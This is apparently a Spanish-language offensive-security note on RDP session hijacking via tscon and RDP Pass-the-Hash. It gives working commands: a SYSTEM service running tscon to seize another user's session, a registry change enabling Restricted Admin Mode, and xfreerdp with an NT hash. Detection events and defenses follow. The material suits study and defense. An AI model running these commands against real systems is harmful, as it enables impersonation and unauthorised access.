RDP Session Hijacking (tscon) and Pass-the-Hash
RDP (puerto 3389) es la vía habitual de administración remota en Windows, y una vez tenemos un pie dentro de la máquina ofrece dos abusos muy potentes que no dependen de conocer la contraseña de la víctima. El primero es el secuestro de sesión con tscon: si otro usuario tiene una sesión RDP abierta y nosotros conseguimos privilegios SYSTEM, podemos conectarnos a su escritorio y suplantarlo sin credenciales. El segundo es el Pass-the-Hash por RDP, que permite entrar por GUI con solo el hash NT del usuario cuando el "Restricted Admin Mode" está habilitado.
Mecanismo
Primero listamos las sesiones activas y sus identificadores:
query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>juurena rdp-tcp#13 1 Active 7 8/25/2021 1:23 AM
lewen rdp-tcp#13 2 Active * 8/25/2021 1:28 AMtscon necesita SYSTEM. El truco clásico es crear un servicio (que por defecto corre como Local System) cuyo binario reconecte la sesión de la víctima (ID 2) a la nuestra:
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijackAl arrancar el servicio aparece una consola nueva con la sesión de lewen, ya suplantado. (Este método dejó de funcionar en Server 2019.) Si solo tenemos el hash NT del usuario, no la contraseña, probamos Pass-the-Hash. Antes hay que habilitar el Restricted Admin Mode en el objetivo:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /fY luego entramos con xfreerdp usando el hash:
xfreerdp /v:<ip> /u:<user> /pth:<hash>Requisitos
Para el secuestro con tscon hacen falta privilegios de administrador local escalados a SYSTEM (mediante SeImpersonate/Potato, PsExec, etc.) y otra sesión de usuario conectada por RDP. Para el Pass-the-Hash hace falta el hash NT, que la cuenta tenga permisos de RDP contra la máquina y que el Restricted Admin Mode esté habilitado (o poder habilitarlo, lo que ya exige privilegios altos).
Cómo detectarlo
Delatan estos ataques la creación de servicios cuyo binpath invoca tscon (eventos 7045/4697), los eventos de reconexión de sesión 4778/4779 sin una autenticación previa esperada, y los inicios de sesión de tipo 10 (RemoteInteractive) por NTLM en cuentas cuyo hash sospechamos comprometido. También la modificación de la clave de registro DisableRestrictedAdmin.
Defensa. Reducir el número de administradores locales; cerrar las sesiones RDP en vez de dejarlas conectadas; mantener el Restricted Admin Mode deshabilitado donde no se use; exigir NLA y MFA; y monitorizar la creación de servicios. Relacionado con Pass-the-Hash, volcado de LSASS con Mimikatz, SeImpersonate y ataques Potato y password spraying.